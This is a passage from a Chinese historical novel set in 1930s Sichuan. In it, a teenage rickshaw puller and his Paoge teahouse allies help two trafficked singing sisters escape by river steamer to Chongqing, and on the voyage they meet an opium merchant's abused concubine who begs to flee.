舅妈曾经对他不好,可舅妈对他不好是因为想要对自己的子女好,他看在眼里,羡慕在心里,曾经厌恶过舅妈,最后发现自己也想要这样的母亲,所以便不恨了。
舅舅家的小妹妹,他看起来就跟兔子猫儿一样,需要他帮忙照管的柔弱小动物罢了。
而后这几年,他在寺庙里习武念经,没有什么亲近的女性。
现在遇到的刘五嬢,那可算是跨越了男女性别的厉害人物,他钦佩地把对方当长辈;茶馆里倒是有些年纪相仿的卖花女卖唱女,他只当她们是同事。
要说他喜欢多看几眼的,只有戏台上那些二十多岁的青衣旦、闺门旦卸了妆后,疲倦且温和地请他帮忙倒杯茶的时候。
所以,周立行大约知道,自己喜欢的,应是比自己大一些的漂亮姐姐,温柔能干又需要他的那种。
此刻眼前,从绿荫和雕花大门中走出来的女人,是他十五年来,第一次让他有手足无措的慌乱感的女人。
论年纪,她二十八,在农家里应算是几个孩子的妈妈了;看样貌体型,她看起来跟山茶姐妹一般年轻,且未曾生育过,应可以叫一声姐姐;看气质,她精明能干,有着几丝五嬢的利落,又有着几分姨妈舍不下自己那般的温吞柔情。
稳准狠地戳在他心中最柔软的地方,戳破那渴求,浓烈的情感如烈酒般瞬间灌醉了他的全身。
周立行傻愣愣地站在原地,直到王喜雀走近了,他的脑里还是一片混沌。
旁边的车夫推了他一把,他才回过神,声音有些颤抖地向王喜雀搭话:
“这位……姐姐,上街买东西还是赏花呀?弟娃儿我拉你好不好?”
王喜雀本是想上自己平日里做熟了的车夫,然而她眼尖地发现,那车夫竟然轻轻地给她使眼色,让她去看那十五六岁的英俊小弟娃。
周立行满脸通红,紧张之下浑身木楞得彷如雕塑,只有心口噗通噗通跳,也不知道是第一次做事紧张还是怎的。
这么一扫眼,王喜雀发现平日里爱围上来讨生意的车夫们,都只动嘴不动脚,明显大家都知道点什么。
而唯一主动上来搭话的俊秀小弟娃,却紧张得像只被雷劈了一般,话都说不利索。
事出反常必有妖,王喜雀谨慎地后退了小半步。
但听到赏花的时候,王喜雀心中微动,她不着痕迹地扭转步伐,上了小弟娃的黄包车。
“先买东西,再赏花吧,最近有什么花开的好?”她声音清脆偏甜,看似云淡风轻地说着闲话,却在花字上加了重音。
周立行拉着车,动了动,没想到这王喜雀还挺轻巧。
他也没拉太快,一边往前小跑,一边轻声回答,“荷花还在开,但要说赏,还是山茶花好看,红的白的,都漂亮的呢。”
王喜雀微微往前探着身子,仔细问道,“这茶花是开在山里呀,还是插在瓶子里呀?嗯,往街上去,我先买东西。”
周立行琢磨了下,发现王喜雀并没有多信任他。刚开始应是发现了车夫们的异常,也听到了茶花这个关键词,所以为了先稳住他,上他的车。
但话里话外,已经重复了两遍,先买东西。这姐姐,怕是打着买东西的机会,要先联络点自己的人吧。
想来也是,一个做过管事的女人,不可能这么轻易地让她自己身涉险地,要是别人说什么就信什么,那早八百辈子被别人给拆吃干净了。
“这花是从山里带回去的,应是被养花人给丢了,风吹枝折,残花败叶,伤得厉害。现在养在花盆里,好生照管着,以后想移栽到合适的地方,自然生长的,花儿才能开得漂亮。”
周立行小跑着,便也不觉得噗通噗通乱跳的心脏有什么影响了,他笑嘻嘻地用暗语回答着。
王喜雀听懂了,山茶姐妹被他们救回去养伤,听这意思,是要送山茶姐妹走。
“养花可耗心神了,花盆要合适的,土也要合适的,有些人喜欢修枝剪叶的乖巧玲珑,有些人喜欢天生地长的艳丽大方,不知小兄弟带我去看的花,是怎么个养法?”
王喜雀继续试探。
哦豁,这话周立行接不上了,他不太懂王喜雀的意思了。
于是他一边往街上走,一边笑嘻嘻直接挑明道:
“姐姐,咱俩不打暗语了吧。我是千秋茶馆刘五嬢的人。我们茶馆的挑柴工,在山里捡回来差点死掉的山茶姐妹,五嬢好心肠先救了人,但不能一直把人养着。这姐妹俩想找你,委托我悄悄来送信的。”
“若是你想见,我直接先带你去见人,见完了你再去买东西。若是你不想见,我就直接送你去买东西了。不过你也别找人跟我,我顶多就是回茶馆,不会私自去见那可怜的姐妹俩。”
“你信不过我,我也不敢全信你。要是你把那个遭瘟的杨团长招来,五嬢不会放过我,也不会放过你。但那茶花姐妹大难不死,却能如此相信你,我想,你应该不会见利忘义。”
巧诈不如拙诚,周立行干脆和盘托出。
见这弟娃不再云里雾里的说暗话,言语真诚、行为谨慎地讲了一切,王喜雀反倒是松了一口气,她随身拎着的绣花包里装的可不只有钱,还有一把重金从云南边境的法军那里购置的小手枪呢。
“行,那就见人。”王喜雀爽快地回答,“我答应过山茶姐妹俩,若是有机会她俩能逃,我定是会帮的。我王喜雀,说到做到,绝不反悔,今日便是刀山火海,我也一定去看看。”
周立行回头看了王喜雀一眼,只见她眉眼含笑,面容温和,语气却泠然有力,他赶紧回头。
稀奇,这姐姐又不重,自己也不累,咋的心跳这么快。
*
周立行拉着王喜雀到了千秋茶馆,刘五嬢以谈生意的借口把她请去了最僻静的包间。没隔多久,一名身穿粗布蓝衣裤,包头蒙脸的女子从偏门不起眼的角落被带了进来。
这包头蒙脸的女子,是白山茶。
为了防止两人同时出现,被有心之人看到,这次悄悄从地下室出来的,只能一人。白山茶自告奋勇,出来与王喜雀见面。
王喜雀一见白山茶满脸尚未散干净
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的淤青,眼角也湿了,白山茶上前抱着王喜雀,先哭了一场。
二人简单地叙话之后,白山茶说了她的想法。
“喜雀姐,我想取回咱姐妹存在你那里的金银首饰,或你将那些首饰折换成大洋也可。我们想逃离四川,去别出改名换姓,重新生活。”
王喜雀并未有半分犹豫,点头,“好。你们存于我处的首饰,我都有列单子,大小样式、金银克重,我都一一记好了的。且看你们是要首饰,还是要大洋,姐姐我都给你们置办好。”
白山茶看向刘五嬢,刘五嬢知晓这是白山茶在征求自己需要什么,她回答道:“那还是大洋吧。”
王喜雀看着情况,也明白山茶俩姐妹求助刘五嬢,必然要给出报酬的。她略一沉吟,便从头上拔下一根样式独特的剑形银簪子插在白山茶头上。
“若是你们要离开四川,我建议先去一趟重庆。重庆那里,有好些女袍哥的会社,为首的都是军政家庭的夫人姊妹,她们对女子比其他袍哥组织对女子要宽容些,在那里找靠山,或许会更好点。”
“我在重庆……有置一些私产,你们姐妹俩若是信得过我,便先去重庆我自己的商行下当女账房吧。这簪子是我自己打的,那边的女掌柜识得纹样,你当信物拿去,她们会照顾你们的。”
这话一出,周立行和黑老鸹同时露出了惊讶的表情。
众人皆是惊讶,没想到王喜雀会将自己近乎秘密一般的事情说出来。
作为妾室,也就是姨太太,能悄悄在外面置办私产,难度是极大的。且不说如何瞒着主家及其下属,这能笼得住一批人替自己做事,还能挣到钱养得起人,那是真正的厉害。
王喜雀这番暴露自身秘密的话,既是对白山茶说,也是在对刘五嬢说。
她想结识刘五嬢许久了,一直没有合适的机会。她再能干,也只是茶商散落在各地的不知道多少房的姨太太,川渝一带的生意她在参与,可那些男管事、男账房们,哪个又不是防着她呢。
表面上看,她能随时动用家里的一大笔银钱,但哪怕是给自己买朵头花,买瓶胭脂,一样是要做账本给主人看的。若是用的不到地方,轻则斥责,重则家法,她又不是没被打过。
若是她生得一儿半女,或许这木茶商还能给她更多的权力,可她不想要,她厌恶这个强占她的茶商。
私下她从未放弃过,一点一滴经营属于自己的力量。
只有自己能随意支配的钱,才是真正的钱;只有自己想做什么就能做什么,才是真正的自由。
刘五嬢四五十岁的年纪,常年混迹江湖,自然能听出来王喜雀这般展示自己的话藏着什么心思。她自己是个强人,自然也喜欢其他的女强人。
她自然也是顺杆接话,“唱歌弹琴,以色娱人,虽也是求生的本事,但靠男人们的喜好过日子,总归是件悲惨的事情。你俩既是商家出身的小姐,想来也是有些基础的,喜雀妹妹这番安排是最好不过了。”
白山茶猛点头,“喜雀姐,我之前怕过你不来,今儿个我才真的是心落到肚子里。五嬢,喜雀姐,我们姐妹俩,这辈子都记得你们俩的大恩大德。”
王喜雀抚摸着白山茶的头,轻声道,“今儿起,你们姐妹俩不要再叫什么红山茶白山茶了,我记得你俩最初的名字,宁知书,宁知礼。日后,你们还是要多读书,多学习,把以前的功课捡回来。”
白山茶一愣,立即嚎啕大哭,她差点都忘记了,原来自己叫宁知礼,是正经人家读过书的女娃,不是什么唱曲卖笑的家妓……
周立行咂摸着姐妹俩的名字,知书知礼……知书达礼,原来两位姐姐的妈妈,曾是对她们寄予期待的。
对比起来,什么红山茶白山茶,听起来是漂亮花儿的名字,仔细一品,便如同唤阿猫阿狗一般,根本没什么好的寓意和期待。
也不知道周立行是怎么想的,他突然开口问道:
“喜雀,是你的名吗?”
这么多年来,王喜雀第一次被人问这个问题,心中也是一颤,她恍惚着开口,“欢喜的雀儿……谁愿意当笼子里的雀儿,欢喜的才不是雀儿呢……”
“那姐姐以前叫什么名字?”周立行追问。
王喜雀正眼看向周立行,上下打量了一会儿,噗嗤笑了,“弟娃儿,咱们还没有那么熟,不告诉你。”
黑老鸹斜着眼睛瞥了肩膀日渐宽阔的周立行一眼,又睁大眼睛看了看明艳大气的王喜雀,再对比看了看小家碧玉的白山茶……宁知礼,他砸吧着嘴思量,最后看向刘五嬢,嘟哝道,“都不错,都好,都喜欢……嘿嘿嘿……还是春妹儿最巴适……”
刘五嬢眼看着周立行对漂亮大姐姐一脸认真地问闺名,又听见黑老鸹这个老不休的开始胡言乱语,顿时眼前一黑,心想这还真是物以类聚人以群分,于是敲着桌子沉声赶人,“你们俩,出去!”
周立行不知道自己干啥惹了五嬢不高兴,但黑老鸹说的什么乱七八糟的,他听到了也心烦,于是听话地拽着黑老鸹出了门。
黑老鸹拼命挣扎,奈何无用,周立行拖他如同拖老猴子,扯不动便扛,扛起来健步如飞。
16.川江
王喜雀和刘五嬢在房里谈了什么,周立行不知道。
过了几日,王喜雀借着帮茶馆处理一批陈茶的机会,再次上门,这次,她私下带来了银钱和首饰名册交予刘五嬢。
刘五嬢没有拿那名册,因为知书知礼两姐妹不需要看,只帮代领了银钱。
而后,刘五嬢将那银钱四份,一小份留给堂口公用,一份交给黑老鸹和周立行当报酬,一份购船票、替大家置办换装的衣裳行李等,还有一大份留给两姐妹当随身盘缠。
至于刘斑鸠三人,则是由王喜雀单独出了一份钱去打赏,论迹不论心,他们三人也确实是救了人。
这些时日里,黑老鸹单独找了个地方,教会周立行用枪。由于子弹不多,他只让周立行打过三次。除此之外,黑老鸹开始教周立行关于袍哥堂口的许多黑话暗语,礼节关系。
一晃又过了十多日,刘五嬢把一切准备妥当,见那杨团长从头到尾都没有差人找过双胞胎姐妹花,便知道这事儿基本平息。于是重阳节前,趁着水位尚可,刘五嬢决定把人送走。
*
1935年之前,四川尚无与外省连接的公路。1935年蒋中正飞抵重庆不久,才令刘湘必须快速修好川黔公路。所以此时,四川无论内外,大部分的运输依然靠河运。
峨眉县境内没有大江大河,符溪镇的码头便是乐山峨眉货物转运的重要水陆交通枢纽,进入峨眉的日用百货、盐、糖、布匹等和运出的茶叶、药材、白蜡、粮食等主要是通过峨眉河隔日一趟的筏运。
要从峨眉到重庆,便需沿着峨眉河,先到乐山苏稽镇,后汇入大渡河,再到乐山大佛三江交汇,顺长江而下,可直达重庆。
乐山城自1905 年开始商轮运输,川江航运霸主一直是英国太古轮船公司,有嘉定号、康定号、金堂号等大型客轮通航。川人不服输,民国初年,四川辛亥革命党人筹组华川轮船公司,不久分化为瑞庆、利川、庆安三个轮船公司。其中瑞庆公司专以开发川南航运交通为目的,确定航线下起宜昌上至乐山,其庆余号、瑞余号轮船航行于乐山与重庆之间,后来其它民营船运公司兴起,川江航运一直是热闹非凡的河流。
跑船虽是个生死有命富贵在天的活路,但商会之间依然会互帮互助,乐山商会组织有自己的武装商团负责水陆护运。川江航务总处、嘉叙雷马屏峨保商事务所都是军阀设置来保护商运的机头;1932年,军阀刘文辉成立川江航务管理局嘉定分局,下设水上保安团。
刘五嬢姓刘,和刘文辉的刘沾了点三十六拐的转角亲,这点沾亲也够她用了。
此刻送人走,她自然也是打点了川江航务管理局嘉定分局水上保安团里的袍哥兄弟伙,说是自己娘家侄儿要去重庆求学,船票买好,也派了人护送,但一路上还是请多让兄弟姊妹们照看巴适。
刘五嬢对客船这些了解并不多,在保安团兄弟们的推荐下,他们乘坐的是民生公司能容纳几百人的蒸汽机大客轮。
这段时间,黑老鸹拿着刘五嬢的手令片子跑上跑下,周立行也就跟着黑老鸹跑上跑下,一路看黑老鸹是如何见人说人话见鬼说鬼话地协调事务。
而后,在黑老鸹的建议下,周立行扮作了刘五嬢的娘家侄子刘少爷,知书知礼两姐妹剪了头发扮作少年仆从,一人面色涂黄眉毛往下画,一人面色涂黑眉毛往上挑,两人脸上都画满了麻子,一路上低眉顺眼的,倒是没有引人注意。
黑老鸹也新买了一身绸缎衫子,扮作了刘少爷的随身老仆,一家主仆四人从乐山的码头上了轮船。
刘五嬢的打点也非常有用,客船留了一套里外双间的上等房给周立行扮演的主仆四人;船上的员工们对周立行一行人照顾的也十分妥当,每日会给他们送热水饭餐;房间的被子也是厚实的,夜间睡的暖和。
*
秋雾笼寒江,夕照染山峡;川江号子响,商船走八方。
民生公司的大客轮顺江而下,同江而过,确有许多船只逆江而上。
逆水行舟,不进则退,有些激流险滩之处,动力不足的船只便需要河岸纤夫拉船。
都说挖煤的人是埋了没死,拉船的人是死了没埋。这句话足以见得,拉船是多么危险和苦难的活路。这份苦难和突破苦难追求生活的勇气融合在一起,形成了充满血与汗水的生命之歌——川江号子。
越是山势险峻水急滩多的地方,纤夫们雄浑有力的川江号子便越是高亢,粗犷豪迈,生死无畏。
“长江口啊,路难走啊,兄弟伙啊,加把油啊,身背纤啊,脚蹬泥啊,顶风啊,高声吼,头一步一步朝前走,家中妻儿在等候,穿过这难关,一起喝老酒……”
险路唱高亢,缓水思艰难,也有号子是悲桑凄楚的。
“哟—嗬—嗬……哟—嗬……一声号子我一身汗,一声号子我一身胆,一根纤绳九丈三,父子代代肩上栓,踏遍岩石也无人问,谁知纤夫我心里寒,求得嘛银钱做三餐,父母妻儿有衣穿……”
到了松快的地方,纤夫们高兴了,也会唱一些其他的号子让众人松快。
“手提搭帕跑江湖,哪州哪城我不熟,四川出产多又多,兄弟向你数一数……隆昌盛产白麻布,自流贡井花盐出,合川桃片保宁醋,金堂柳烟不马虎,夹江白纸好书写,嘉定曾把丝绸出……”
周立行被那川江号子热血慷慨的歌声震撼,出房间来到船头甲板上远眺。
只见河滩石壁之间单衣薄衫的男人们,共同拉扯着那长长的绳子,逆着河水,步履蹒跚缓缓拉动着船只,他们团结一致,气沉丹田,嘶吼歌唱的节奏也是运气用力的频率,不甘心的拼命人和自然险峻的争斗,令人目眩神迷。
知书知礼两姐妹在房间里闷了好些时日,黑老鸹觉得一天到晚闷着也不是办法,人都要关蔫儿,于是见周立行出去听拉船工的号子,便也拽着两姐妹一起出来透透气。
客船经理见好些客人出来听那两岸的号子,便留了一个口齿伶俐的服务员去做讲解。
“……由号子工领唱,众船工应答。这号子工可不一般!寻常人等,可当不上号子工呢!”
“要当号子工,首先得嗓音洪亮,通晓川剧、曲艺等唱腔!”
“然后还得擅记剧目,至少要记几十本,拉船一月可以喊不打重台(不重复)的号子,还要即兴发挥,出口成词,要能使船工们有想头有盼头,鼓得起劲儿,争得起上游……”
周立行在一旁听着,流露出钦佩之色。这是黑老鸹已经拉着两姐妹来到了旁边,听讲解这么说,黑老鸹点着头悄声向周立行补充:
“号子工不拉纤,其地位仅次于前、后
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驾长,其工薪是船工的一至三倍。”
周立行很习惯跟黑老鸹两人私下嘀咕,他便一耳朵听那服务员讲,一耳朵听黑老鸹说,同时悄声问:“为啥?就因为会唱号子?”
黑老鸹乐了,“那号子不仅仅是歌,还是指挥。”
“平水号子曲调悠扬潇洒,见滩号子是提醒有危险,上滩号子起了那步伐就得越来越急迫,拼命号子自然是要奋击挣扎,下滩号子婉转叹息是因为终于走出险境。你看那号子工走前走后,是监督船工、提示注意安全的。”
周立行思考了下,觉得这号子还算一门技艺,便问黑老鸹,“你会唱吗?我想学这个。”
黑老鸹突然不高兴了,皱皮眼瞪的老大,声音也大了起来,“……你当我是诸葛亮啊!别人的看家本事,号子里对明礁暗石水涨水落的描述,我是能听会的吗!想学你就自己听了自己学着玩,别一天到晚东想西想!”
“噗……”
那服务员耳朵尖,听到黑老鸹的话,实在是没忍住,笑出了声。
周立行:“……”不高兴,瞪!
服务员一下脸红了,连忙道歉,“抱歉少爷……”
周围的其他客人们都看了过来。
周立行摆摆手,示意自己不在意,但明显还是不开心。他扭头转身去看船外。
知书知礼两姐妹也在偷笑,两人一左一右过去劝周立行。
“少爷莫生气,我们教你。”
“虽然不懂别人的看家本事,但曲调歌词,我们听了就会,我们记一记,保准教你。”
两姐妹软声软语地劝,周立行也不好闹脾气,他想了想,回答道,“行,那我不白学,我也教你们一些武艺。”
两姐妹眼光一亮,虽然没见周立行用过,但刘五嬢告诉过她们,周立行身手很好,不可小觑。
“这雄浑有力的号子,蕴含着抗争的力量……若是搭配上清音的凄婉,定是感人泪下……”知书想了一下,觉得两种曲子融合起来定会十分有趣,于是顺着号子声“嘿咗!嘿咗!”的节奏呼喊,轻轻哼唱了一段旋律。
“涛声不断歌不断啰,回声荡漾白云间啰,高峡风光看不尽哪,轻舟飞过万重山哟……”①
周立行听得双眼放光,连声夸赞,“真好听!”
知书虽然压低了声音,听起来雌雄莫辩,但隔得近的人依然能听清楚。
三人在这里聊得开心,旁边却有一个中年人听的不乐意了。
“这位小兄弟,年纪轻轻正是求学的时候,学这些泥沙里刨命钱的穷人号子有什么意义!听个新鲜特色就行了,有身份的人,可不用去唱这些下里巴人的玩意儿,随便哪里使几个钱,就能找人给你从早唱到晚呢。”
中年人带着黑帽子,穿着洋气的毛呢西服,胸口挂着怀表,身边站着个低眉顺眼的紫衣女人,一副富商做派。
周立行看了他一眼,没理他,直接示意知书知礼跟他回去。
知书知礼两人看了那中年人一眼,她两人顿时脸色煞白,双双低下头,跟着周立行走。
老江湖黑老鸹见知书知礼两人的脸色,便知不好,多半是遇到了她们俩以前见过的人。他站直身体站过来,挡住富商的视线。
然而富商却很是眼尖,“咦?这是一对双胞胎?好眼熟……”
17.川江
那富商话一出,周立行和黑老鸹瞬间肌肉紧绷。
“哟喂,这位爷,你不认识我家少爷,也不认识我,倒是觉得我们从小养大的家仆眼熟,这是啥子意思喃?”
黑老鸹皮笑肉不笑,姿态看起来颇为恭敬,说话的声调却十分阴阳怪气。
富商被这么一打岔,目光自然挪到了黑老鸹身上。此时的黑老鸹换了一身行头,黑绸帽子、藏蓝暗纹绸缎的一套衣袍崭新,脚上穿着一双新买的牛皮靴子,手里还假吧意思地杵着一根黑木拐杖,标准大户人家颇受倚重的老仆形象。
那富商本意也只是想跟周立行搭个话,眼下见周立行不理他,留下的老仆明显难缠,他眼尖地瞅到老仆腰间隐约的形状像是手枪,于是退一步搭手行礼,“是我冒昧了。”
想了想,怕得罪人,他再解释道,“曾经有友人送过一对双胞胎给我玩乐了一段日子,曲儿唱的挺好听的。刚刚见你们家仆小子两人长得相似,又有一个会唱曲儿,一时失言,还请转达少爷,是张某我冒昧,请勿责怪。”
黑老鸹嘻嘻一笑,“原来是这样,我家这两个小子才十四五岁,自小买来的,此番是陪少爷去读书求学。我还当是有人虽然带着女人,却想搞别的男娃儿呢,原来是误会一场。无碍无碍,我家少爷虽然脾气大,但心眼也大,不会计较的。”
富商听得满脸青黑,恨不得能把黑老鸹的嘴给堵上。然而黑老鸹看人下菜,说完就跑,富商自己搭话说错话,也怪不得别人怼他,只能摸摸鼻子算逑了。
*
原以为此事到此为止,哪知道当晚,那紫衣女子却悄悄找了来。
夜间停着船,江水哗哗声不停歇,周立行等人早早的便歇下了,突闻敲门声,众人心中皆是一紧。
黑老鸹老江湖的习惯,睡时从不脱衣,手枪放在枕下,看似他吹噗打鼾的,实则随时都警戒着。
听到敲门声,黑老鸹下了床,走到门后,侧身往后站,对着门缝轻声道:“哪位找?我家少爷歇下了。”
门缝下面塞进来一张金叶子,外面传来一个女人泫然若泣的声音,“红山茶白山茶两位姐妹可在?两位爷可否放我进来说几句话,那张富商已经喝醉酒瘫了,我有性命相关的事情,求求你们了!”
黑老鸹弯腰拾起金叶子,摸了摸手感,是纯金的。他示意周立行过来。
周立行翻身下床过来,他耳朵贴上门,凝神听了下外面,确认只有一个女人紧促的呼吸,便向黑老鸹点了点头。
黑老鸹开门的时候,周立行屏住呼吸站在阴影里,防止黑老鸹被那女人偷袭。
知书知礼两姐妹睡的是里间,下午的时候遇见那富商,本就让她们心里发紧,夜里也是不能安眠。
紫衣女子进门后,知书知礼两人在里面没出来,但姐妹俩都偷着门缝紧张地观看情况。
黑老鸹请紫衣女人坐下,例行胡说八道,“姑娘,我们四个男人的房间,按理说不该半夜三更的让你个女人进来。但我觉得你出手阔绰,金叶子说送就送,应该是遇到了难处,所以,虽然不知道白山茶红山茶是什么,但还是听听你想讲啥吧。”
紫衣女人紧张地摇头,话却说的十分笃定:
“老辈子,你骗那富商还行,没必要骗我。我是那张富商的姨太太,那对姐妹花是男是女,我可不会认错。”
周立行抱手站在紫衣女人身边,冷不丁地出声,“那又如何呢?”
黑老鸹恨铁不成钢地踢了周立行一脚,周立行躲开。
紫衣女人却突然跪下了,吓得黑老鸹也跟着跪了下去,两人跟对拜一样相互磕了个头。
周立行:“???”
紫衣女人悲戚难耐地哭道,“茶花姐妹若是被转卖了,才不会做着乔装打扮的模样。我见俩姐妹跟少爷有说有笑,神态自然,又是故意扮成男人,所以我猜她们肯定是遇到贵人了,这一定是要送她们去其他地方重新生活……”
黑老鸹松了口气,明白了紫衣女的想法。
“妹儿,你也想逃?”
紫衣女人点头如捣蒜,一把抓住黑老鸹的手,情真意切地恳求,“老辈子,我想!求求你们,发发善心吧!”
“这张富商是做鸦片生意的,他自己不吸烟片,也不让正房太太吸鸦片,可我们这些小老婆,却个个都要被逼着吸,还得出去陪他的客人吸……我生的一儿一女,从小喝奶就染上了鸦片瘾……”
“他根本不把我们这些小老婆当人……我这辈子都没指望了,我想逃啊……可是我不知道该怎么逃,他心狠得很,家里死过好几个小老婆和娃儿了,不听话的、被怀疑的都会被弄死……”
“畜生,他们全家全宗都是畜生……什么时候上天能开开眼,让他们都去死啊……”
黑老鸹没有说话,他待紫衣女人情绪发泄完了,才开口问道:
“你叫什么名字?”
“主家给取的,紫苏。以前在娘家的时候,叫何七妹。”
“家里的两个孩子多大?在哪里?”
“姐姐十岁,弟弟三岁,都在主家养着。我怕再过几年,姐姐会被他们丢给别人随意糟蹋……”
“此次是去哪里?以后要去成都吗?”
“去上海谈烟土生意,不知何时回,但应是能回的。”
“你是想一人逃,还是想带孩子逃?”
紫苏瞪大眼,犹豫和挣扎在眼珠里交织,最后她一闭眼,“若是有可能,我希望能带上孩子……但若是不方便……就我一人,也要先逃……”
黑老鸹点点头,“我们现在有委托在身,暂时不能帮你。这张宝片,你收好。若是回了成都,想个办法亲自去找忠义茶馆,送上宝片,奉上钱财,再提你的委托。但堂口接不接你的委托,我不能做主。”
紫苏接过宝片,又磕了个头,“谢老辈子,若是我能逃离苦海,定会每年给您祈福!祝您长命百岁!”
“算咯,我活够了就死,不想活太长。”黑老鸹摆摆手。
“快回去吧,别被发现了。若是被发现你身上有宝片,你就说是见别的袍哥掉了,你捡回来的,听别人说过是成都忠义茶馆的东西。那鸦片商定也是知道袍哥堂口的,便不会为难你,顶多收了你的宝片。”
紫衣女人又磕了个头,擦干眼泪,起身颤巍巍地走了。
周立行等紫衣女人走后,心中莫名觉得不安,便问黑老鸹,“我们不能下船的时候把她偷偷带走吗?”
黑老鸹摇头叹气,心想年轻小子果然意气重,有心是好,却不能预计后果。
“你当两个人是带,一个人也好偷吗?鸦片商从不会一个人出门,他们肯定带的有好些持枪的护卫。再说,她还有孩子,她若是真的能狠心舍掉孩子还好,若不是,她活不久。”
知书知礼两姐妹从房里走出来,两人相互握着手,犹犹豫豫地似乎想说什么,黑老
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鸹却冷酷地打断。
“知书,知礼,不要说话。你们自身难保,不要妄动善念,那富商要是把你们认出来,你们只会更惨。”
周立行不甘心地瞪着黑老鸹。
黑老鸹拿出百般的耐心来对待自己这个想收的干儿子,“那紫苏舍不下孩子,就算是自己逃了,也会想回去救孩子或者看孩子,早晚都要自投罗网。而那一双孩子,不是被弄死,就是被卖掉。”
“若是她想连孩子一起带着逃,就不是你我两人能为她办到的。”
“我们这次接的委托是安全把知书知礼送去重庆,中途便不要节外生枝。”
“各人有各人的命,她若是有这个命,之后就能凭我的宝片打开一线生机。若是没有,便命该如此。”
周立行心中一股酸意涌上鼻尖,他想到了王喜雀,忍不住回嘴道:
“若是没有这个命呢?一个二个,都是被买来卖去的,女娃子们就不能按自己的意愿活吗?”
黑老鸹站起来,满脸怜悯。
“立行,不仅是女娃子,男娃子一样!女的卖色卖身,男的卖苦力卖脑袋,都是卖!没有一股狠劲拼,一把小命不是卖给有钱有势的人,就是给老天爷安排。别人敲断你的骨头,吸干你的骨髓,你都还的感恩戴德!”
“参加辛亥革命的时候,我以为把鞑虏统治推翻了,换汉人上台会不一样……现在民国了,嘴上说的这样主义那样主义,我看着也没什么区别,咱下等人的活法,还是生死由他人。”
“这世道如此,你要看得惯。除非世间生出个大圣人,敢叫日月换新天,嘿嘿,天下大同,人人平等……能出吗?!出不了,这上几千年和下几千年就都是一个样,什么主义都不起用……列强瓜分,日本人占了那么多国土虎视眈眈,血染神州在即……救谁……谁救?……哈哈哈哈……”
“睡咯睡咯,能帮的才帮……救不到就闭眼当没看见……”
不知道黑老鸹是受了什么刺激,他摇摇晃晃跟喝醉了似的,自个儿说着说着还带了哭腔,走到床边倒下就闭眼,不愿再说话。
知书知礼没说话,她们是想救那个紫苏,可是,她们有什么能力办法呢?若不是上天不亡她们俩,能机缘巧合活着找上刘五嬢,她们现在要么死了,要么被卖到下等的窑子,早晚也是肠穿肚烂死于花柳病。
她们只会唱曲儿,顶多再算得上会服侍男人,她们没本事没能力挣事业,不能像刘五嬢那样叱咤江湖,甚至没有王喜雀那般有管家挣钱的本事还能忍辱负重。
这世道吃人,她们是被吃的肉,自身难保。
红着眼眶流着泪的两姐妹默默退回去,周立行在原地立了半晌,最终也回了床铺。
他被黑老鸹最后的那些话搅乱了心神。
原以为黑老鸹就是个坑蒙拐骗的惯犯老江湖,心里多少有些善念准则,压箱底的各种本事也多,值得他跟些年月。现在听来,这黑老鸹却像是曾经有大抱负,最终却心灰意冷的人物。
他学了几年的佛,善心是足的,见着紫苏说的那么凄惨,心里十分过意不去,非常想帮一帮。
可是黑老鸹说的也对,他没有能力帮紫苏救孩子。若是现在轻举妄动,成事不足败事有余,反到容易把知书知礼也给害了。
也许,真的,人各有命……
那他周立行命,又是否真的会像黑老鸹说的那样呢?
命,能改吗?
18.重庆
有了富商那一茬,知书知礼两姐妹便不再出房门了。她们信守承诺,在船上教了周立行一些曲艺知识,教会他唱几首听来的船工号子。
投桃报李,周立行准备教两姐妹一些危急时刻的防身招式,然而他从师兄那里学的拳法是形意拳,跟猴子们切磋出来的更野,还真的不适合女孩子使用。
搞到最后,反而是黑老鸹亲自出手,先教了两姐妹女人拳鼻祖——咏春拳的招式,然后又将行走江湖中一些下三滥的狠招挑了些出来,一边教导两姐妹如何示弱再下狠手,一边教导周立行不要轻易被女人的眼泪和求饶欺骗。
周立行和两姐妹相互成了对练,周立行还是个孩子心性,一旦真的把两姐妹当对手……那就是真的当对手。
于是,两姐妹被揍了个真真的,被摔打起来根本不当她们是女孩。
好几次,知礼直接被打哭,知书只好抱着妹妹安慰:
“好了好了,咱们以前又不是没挨过打,以前是白挨打,现在好歹能学本事……”
知礼委屈的要死,吹着鼻涕泡指责周立行,“这弟娃儿怎的也不收一点力气,这般用劲,也不知道让一下女的……”
周立行很是不解,“黑老鸹教你们的都是杀招,你们不也没留力气嘛,我还留了一半的力气没用呢……是你们太没用!”
知书也是被周立行的榆木脑袋给气笑了,“我们俩以前是学弹月琴琵琶唱歌的,你是天天个在山上跟猴子打架的,我们能比嘛!”
周立行一想,也是这么回事,但是也不能这么说。
“要我让着你们,可以。但是以后要害你们的人,也会让着你们吗?”
知书知礼听得目瞪口呆。
知礼绝望道,“你个笨骡呆马,你说的这些我们会不知道?你这样的榆木脑袋,以后可别想讨老婆!”
这话一出,周立行傻了,他硬是过了三秒,才回嘴,“你们说了不算!我又不会讨你们当老婆。”
想了想又道,“我要讨的老婆,肯定不会下手打。”
黑老鸹在一旁听得哈哈大笑,打趣周立行要学会扯白嚯人,尤其是嚯女娃子。
周立行嗤之以鼻,“什么扯白扯调,就是日白卖谎呗,说假话打诳语骗人,这有什么不会的,只是我不想而已。”
黑老鸹嘎嘎笑,“那你还守和尚的戒律?哟哟,出家人不打诳语。”
周立行扭头看船外,“我只能算短时间在寺里待过,可算不得出家。”顿了顿,周立行坚定地说道,“我以后要娶婆娘的!”
黑老鸹怪叫,“婆娘?!什么婆娘?!哎哟立行你满十六没啊?!小小年纪娶什么婆娘~没得彩礼没得田地,你拿锤子娶婆娘~!”
周立行听得鬼火冒,上前就要掐黑老鸹的嘴巴,“闭嘴吧你!我心里有哈数!”
黑老鸹一直就想掏一掏周立行的喜好,此刻如何肯善罢甘休,他整个人凑过去打量周立行:
“哟喂呀,有哈数?!这样说来是有心仪的人咯?是哪个啊?说来老鸹我给你掌掌眼呢!”
周立行脸一红,转身不看黑老鸹,“没有!”
“我看你小子也是挺洁身自好的,平日里从来不调戏哪个姑娘,也不去那些脂粉巷子偷香院子,啧,这能看上谁?总不是看上茶花姐妹了吧?”
知书知礼两姐妹目瞪口呆,连连摆手,“不行不行,我们可不愿意!”
周立行愤愤地瞪了两个姐姐一眼,闭嘴不说话。
黑老鸹琢磨了一圈,震惊到,“五嬢儿子都比你大了……”
周立行实在听不下去了,反手直掏黑老鸹的心口,黑老鸹年岁大耐力不足,但过几招还是没问题的,一手擒拿玩的出神入化,和周立行拆起招来。
